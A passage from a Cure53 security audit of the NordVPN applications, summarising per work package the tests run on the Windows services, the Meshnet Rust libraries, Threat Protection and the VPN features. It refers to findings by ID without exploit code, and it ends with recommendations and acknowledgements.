The requirements for a successful attack using NOR-15-013 and NOR-15-023 are high. However, the team is under the impression that given the identified issues, the current implementation is one remote-code-execution (RCE) vulnerability away from becoming a tunneled command and control (C2) infrastructure.

## WP2 - Windows Application

While assessing the NordVPN Windows Application and Services as part of WP2, standard hardening checks were conducted. No vulnerabilities involving DLL hijacking were identified during the assessment. Special focus was placed on elevated processes and services, such as Diagnostics and the Update service, to identify potential privilege escalation vulnerabilities.

While analyzing the communication between the NordVPN Application and the corresponding services, it was found that IPC with named pipes using gRPC was utilized. While assessing the access permissions of those named pipes, it was determined that access was granted to all authenticated users on the system, allowing any user to read or write to those pipes. As this violates the principle of least privilege, the finding NOR-15-014 was created. Despite the availability of gRPC’s encryption and authentication features, the IPC traffic was unencrypted, and therefore readable for any user with access to the communication channel. This behavior was noted in detail in NOR-15-015.

While verifying that previously reported issues were patched, it was found that the issue NOR-10-001 from a previous report remained unpatched. Discussion with the customer revealed that a solution is already developed, but not deployed. This, and other unpatched vulnerabilities were documented in NOR-15-002.

## WP3 - Meshnet feature

Libtelio is a client-side library for creating encrypted networks (called Meshnet) on the user's nodes. It is written in Rust. From a technological perspective, the choice of using Rust for sensitive operations can be seen as praiseworthy. Rust is considered a safe and efficient language, which has proven itself to be resilient against memory corruption vulnerabilities such as use-after-free.

It was positively observed that some code is already being fuzz tested. For example, the crates *telio-pq*, *telio-crypto*, and *telio-proto* contain fuzzing harnesses. This proactive approach underscores and indicates the security awareness of the NordVPN software development team.

The Libtelio codebase is extensive, encompassing over 42,000 lines of Rust code. This considerable size, coupled with the inherent complexity and density of Rust, has limited the team's ability to conduct a thorough review. Given the broad scope of this test in general, the review of this library focused on breadth, rather than depth. It is therefore advisable to conduct more in-depth security audits of the Libtelio library, in order to ensure comprehensive coverage.

The audit revealed that the *telio-crypto* library contains a *SecretKey* struct that implements both the Debug and Display traits. This is further described in NOR-15-029. Additionally, the *SecretKey* struct does not implement the zeroize trait, as noted in NOR-15-030.

The Meshnet Libdrop library, which is used to transfer files between peers, is written in Rust. From an attacker's perspective, if Libdrop contains any security vulnerabilities, then it has the potential to write arbitrary files in a victim's computer. With this in mind, tests including source code audits were conducted. These tests checked if the authentication mechanism could be bypassed, and whether file handling was being carried out correctly. This testing led to the identification of the issues NOR-15-025, NOR-15-026, and NOR-15-027.

## WP4 / WP5 - Threat Protection feature / Threat Protection Lite feature

The Threat Protection component of NordVPN (WP4), was thoroughly tested for various issues via both dynamic testing and source code review. Initially, the code was audited to verify that previously-reported issues had been fixed, via both patch verification and regression testing. This led to the identification of a bypass to a patch, as mentioned in NOR-15-001, and unfixed issues as mentioned in NOR-15-002.

Next, the NShield Proxy code was reviewed for logical and implementation issues. Specifically, the team looked for issues that could bypass browser security mechanisms, certificate validations, request and response processing via *Http_filter*, and various issues in protocol handling. This led to the identification of the issue described in NOR-15-007.

Following this, the libmangler was assessed for issues that can permit XSS via NordVPN GTPL templates, or Jangler Scripts. No such issues were identified. Further assessment of Jangler ad blockers via adblockengine and URLScanners led to the identification of the issues NOR-15-008, NOR-15-010, and NOR-15-019.

The assessment of Threat Protection file protection and its components, including MShield and its various scanners such as mlscan, apc, and extension scan did not reveal any security issues.

The team assessed the code which checks if the application installed on the user's system utilizes any vulnerable versions, and notifies the user if this is the case. No issues were found in this logic.

## WP6 - VPN features and functionality

While the additional VPN features offer enhanced functionality, their utility is significantly undermined by the ability to disable them without user notification. NOR-15-013 highlights an unfortunate gap in user security and awareness. Further, given the numerous issues identified during testing, it is recommended that issues fundamental to VPN security should take precedence over the implementation of supplementary features.

The documentation outlining NordVPN's VPN features underwent meticulous analysis by the Cure53 team. The team leveraged this to identify potential edge cases which may have been overlooked.

The testing team thoroughly reviewed the expected behavior of the VPN features in scope, to ensure their adherence to the documentation. The team positively noted that the implementations were found to match the specifications. It is also important to highlight that this work package benefited from significant overlap with others, permitting good coverage by the Cure53 team.

Tests were conducted on the desktop Kill Switch, which significantly differs from its extension counterpart. In the desktop scenario, the application closes when the VPN connection drops. Despite efforts to prevent this, all attempts proved unsuccessful.

Additionally, the Dark Web Monitor feature was audited, and no issues were found. This straightforward service periodically requests NordVPN API access using the user's email to monitor Dark Web leaks. This means that the feature has a relatively small attack surface.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## In summary

The security review described in this report achieved comprehensive coverage across all work packages, identifying numerous security-relevant issues that present ample opportunities for hardening measures. Cure53 would like to emphasize the relative ease with which the development team could mitigate the majority of these issues. However, significant alterations are required in some areas, and it is recommended that these vulnerabilities should also be resolved promptly, following the handover of this report. Once these issues have been addressed, the application will reach a sufficiently secure state for online production use.

Since parts of the application source code - including NShield - were written in C / C++, Cure53 requested all of the dependencies necessary to locally build these libraries using the Conan[12] package manager. This enabled the team to create dedicated fuzz testing harnesses. The HTTP request / response parsing module underwent comprehensive fuzzing, which revealed no vulnerabilities or issues. Similarly, the TLS Hello parser was subjected to rigorous fuzz testing, and no flaws were identified.

It was observed that the system utilized several well-regarded libraries, including NGHTTP2, OpenSSL, and Boost. These libraries are known for their stability and security, having undergone extensive fuzzing, and being maintained by active communities. The use of these pre-fuzzed libraries is commendable, and contributes to the overall security posture of the system.

Given the vast scale and complexity of this software project, achieving complete coverage of the application is virtually unattainable. Consequently, Cure53 strongly advises conducting regular additional security assessments. Such ongoing evaluations could focus on varying facets of the NordVPN application - becoming narrower and richer with each review - which would enhance the project’s overall security posture over time.

The results of this testing underscore the necessity of ongoing and periodic security assessments of the NordVPN software stack, in order to safeguard the integrity of its services and features. As vulnerabilities evolve and new threats emerge, maintaining a proactive security approach through regular updates, continuous monitoring, and the prompt resolution of identified issues is crucial. This will ensure that security measures remain effective and robust against potential breaches.

Cure53 would like to thank Kasparas Bražėnas, Aleksas Golubevas, Asad Ur Rahman, Asta Krasnickaitė-Mickienė, Darius Šimanel, Lukas Pukenis, and Kamil Daněk from the UAB 360 IT team, for their excellent project coordination, support, and assistance, both before and during this assignment.

[12] https://conan.io/